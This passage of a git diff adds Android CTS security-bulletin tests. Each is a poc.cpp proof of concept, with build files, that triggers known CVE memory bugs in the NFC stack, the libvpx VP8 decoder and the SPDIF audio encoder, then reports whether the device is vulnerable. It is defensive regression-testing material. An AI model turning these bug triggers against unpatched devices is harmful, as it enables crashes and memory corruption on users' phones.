+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 0000000..9ecc457
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+    if (p_data) {
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = 0;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    rw_cb.p_cback = &poc_cback;
+    p_data = (uint8_t *)malloc(sizeof(uint8_t));
+    FAIL_CHECK(p_data);
+
+    testInProgress = true;
+    rw_t2t_handle_rsp(p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
index bcbf54f..5fdbfdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2019-2020",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 0000000..ba4d950
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+int32_t main() {
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  GKI_init();
+  llcp_init();
+  for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+    llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+    llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+    llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+  }
+
+  testInProgress = true;
+  llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+                       nullptr);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 0000000..639ca91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2031",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+        "liblog",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 0000000..1781237
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGABRT) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+                          uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+  void *ptr = malloc(size);
+  memset(ptr, 0x0, size);
+  return ptr;
+}
+
+/* States */
+enum {
+  RW_T3T_STATE_NOT_ACTIVATED,
+  RW_T3T_STATE_IDLE,
+  RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+  RW_T3T_CMD_DETECT_NDEF,
+  RW_T3T_CMD_CHECK_NDEF,
+  RW_T3T_CMD_UPDATE_NDEF,
+  RW_T3T_CMD_CHECK,
+  RW_T3T_CMD_UPDATE,
+  RW_T3T_CMD_SEND_RAW_FRAME,
+  RW_T3T_CMD_GET_SYSTEM_CODES,
+  RW_T3T_CMD_FORMAT,
+  RW_T3T_CMD_SET_READ_ONLY_SOFT,
+  RW_T3T_CMD_SET_READ_ONLY_HARD,
+  RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+  /* Sub states for formatting Felica-Lite */
+  RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   formatting) */
+  RW_T3T_FMT_SST_CHECK_MC_BLK,     /* Waiting for Felica-Lite MC (MemoryControl)
+       block-read to complete */
+  RW_T3T_FMT_SST_UPDATE_MC_BLK,    /* Waiting for Felica-Lite MC (MemoryControl)
+      block-write to complete */
+  RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+
+  /* Sub states for setting Felica-Lite read only */
+  RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+   setting read only) */
+  RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+   to complete */
+  RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+   block-read to complete */
+  RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+   block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+  if (p_data) {
+    if (p_data->data.p_data) {
+      free(p_data->data.p_data);
+      p_data->data.p_data = nullptr;
+    }
+    free(p_data);
+    p_data = nullptr;
+  }
+}
+
+int main() {
+  atexit(exit_handler);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigabrt_handler;
+  sigaction(SIGABRT, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+  GKI_init();
+  rw_init();
+  rw_cb.p_cback = &poc_cback;
+
+  uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+  uint8_t mrti_check = 1, mrti_update = 1;
+  FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+             NFC_STATUS_OK)
+
+  p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+  FAIL_CHECK(p_data);
+
+  p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+  FAIL_CHECK(p_data->data.p_data);
+
+  p_data->status = NFC_STATUS_OK;
+
+  p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+  p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+  p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+  p_t3t->ndef_attrib.ln = 0x000F;
+
+  NFC_HDR *p_msg = (p_data->data).p_data;
+  p_msg->offset = 0;
+  p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+  uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  p_t3t_rsp[0] = NCI_STATUS_OK;
+  p_t3t_rsp++;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+         NCI_NFCID2_LEN);
+  testInProgress = true;
+  p_cb->p_cback(0, event, p_data);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
index bcbf54f..aa9a2f9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,23 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-0034",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "32",
+    arch: {
+        arm: {
+            include_dirs: [
+                "external/libvpx/config/arm-neon",
+            ],
+            shared_libs: [
+                "libvpx",
+            ],
+            cflags: [
+                "-DTEST_ARM32",
+            ],
+        },
+    },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+    if (fp) {
+        fclose(fp);
+    }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+    (void)argc;
+    (void)argv;
+
+#ifdef TEST_ARM32
+    atexit(exitHandler);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    FAIL_CHECK(argc >= 2);
+    fp = fopen(argv[1], "rb");
+    FAIL_CHECK(fp);
+
+    fseek(fp, 0, SEEK_END);
+    size_t size = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+    std::vector<uint8_t> buffer(size);
+    FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+    vpx_codec_ctx_t codec;
+    vpx_codec_dec_cfg_t cfg;
+    memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+    cfg.threads = 1;
+    FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+    uint8_t *data = buffer.data();
+    data += IVF_FILE_HDR_SZ;
+    size -= IVF_FILE_HDR_SZ;
+
+    while (size > IVF_FRAME_HDR_SZ) {
+        size_t frame_size = mem_get_le32(data);
+        size -= IVF_FRAME_HDR_SZ;
+        data += IVF_FRAME_HDR_SZ;
+        frame_size = std::min(size, frame_size);
+
+        testInProgress = true;
+        vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+        testInProgress = false;
+
+        vpx_codec_iter_t iter = nullptr;
+        vpx_image_t *img = nullptr;
+        while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+            if (img->d_w > img->w || img->d_h > img->h) {
+                return EXIT_VULNERABLE;
+            }
+        }
+        data += frame_size;
+        size -= frame_size;
+    }
+    vpx_codec_destroy(&codec);
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106..2a5682f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
  * limitations under the License.
  *
  */
+
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
 #include <nfc_api.h>
 #include <rw_int.h>
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
 }
 
 int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
     tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
     rw_init();
     rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
     p_t2t->bytes_count = 1;
     p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
     uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
     rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
index bcbf54f..31fbfd2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -20,7 +20,12 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-0458",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libaudiospdif",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
new file mode 100644
index 0000000..dbb4ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0458/poc.cpp
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <audio_utils/spdif/SPDIFEncoder.h>
+#include "../includes/common.h"
+
+// Taken as a reference from audio_utils/tests/spdif_tests.cpp "MySPDIFEncoder"
+class PocSPDIFEncoder : public android::SPDIFEncoder {
+ public:
+
+    explicit PocSPDIFEncoder(audio_format_t format)
+            : SPDIFEncoder(format) {
+    }
+
+    PocSPDIFEncoder() = default;
+
+    size_t getBurstBufferSizeBytes() const {
+        return mBurstBufferSizeBytes;
+    }
+
+    size_t getByteCursor() const {
+        return mByteCursor;
+    }
+
+    android::FrameScanner *getFramer() const {
+        return mFramer;
+    }
+
+    size_t getPayloadBytesPending() const {
+        return mPayloadBytesPending;
+    }
+
+    ssize_t writeOutput(const void*, size_t numBytes) override {
+        mOutputSizeBytes = numBytes;
+        return numBytes;
+    }
+
+    size_t mOutputSizeBytes = 0;
+};
+
+int main() {
+    PocSPDIFEncoder encoder(AUDIO_FORMAT_E_AC3);
+
+    // Beginning of the file channelcheck_48k6ch.eac3 with frame size
+    // forced to zero
+    uint8_t buf[] = { 0x0B, 0x77, 0x00, 0x00, 0x3F, 0x85, 0x7F, 0xE8, 0x1E,
+            0x40, 0x82, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
+            0xFC, 0x60, 0x80, 0x7E, 0x59, 0x00, 0xFC, 0xF3, 0xCF, 0x01, 0xF9,
+            0xE7 };
+    encoder.write(buf, sizeof(buf));
+
+    size_t bufferSize = encoder.getBurstBufferSizeBytes();
+
+    // If vulnerability is present, 'mPayloadBytesPending' will be assigned
+    // a large overflowed value
+    size_t pendingBytes = encoder.getPayloadBytesPending();
+
+    // 'mBurstBufferSizeBytes' shouldn't be lesser than 'mPayloadBytesPending',
+    // this will happen if 'mPayloadBytesPending' holds a overflowed value
+    return (bufferSize < pendingBytes) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bcbf54f..6595bcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -20,7 +20,7 @@
 }
 
 cc_test {
-    name: "CVE-2020-29368",
+    name: "CVE-2020-29374",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp",],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
index 700935c..5033b2e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a..bb3bdc2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,74 +14,116 @@
  * limitations under the License.
  */
 
+#include <../includes/common.h>
+#include <../includes/memutils.h>
 #include <nfc_int.h>
 #include <rw_int.h>
 
 #define RW_MFC_STATE_READ_NDEF 0x03
 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03
+#define RW_MFC_DATA_LEN 0x10
+#define P_MFC_NDEF_LENGTH 1024
 
 extern tRW_CB rw_cb;
+tNFC_CONN *p_data = nullptr;
+tRW_MFC_CB *p_mfc = nullptr;
 
-void GKI_freebuf(void*) {
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
 }
 
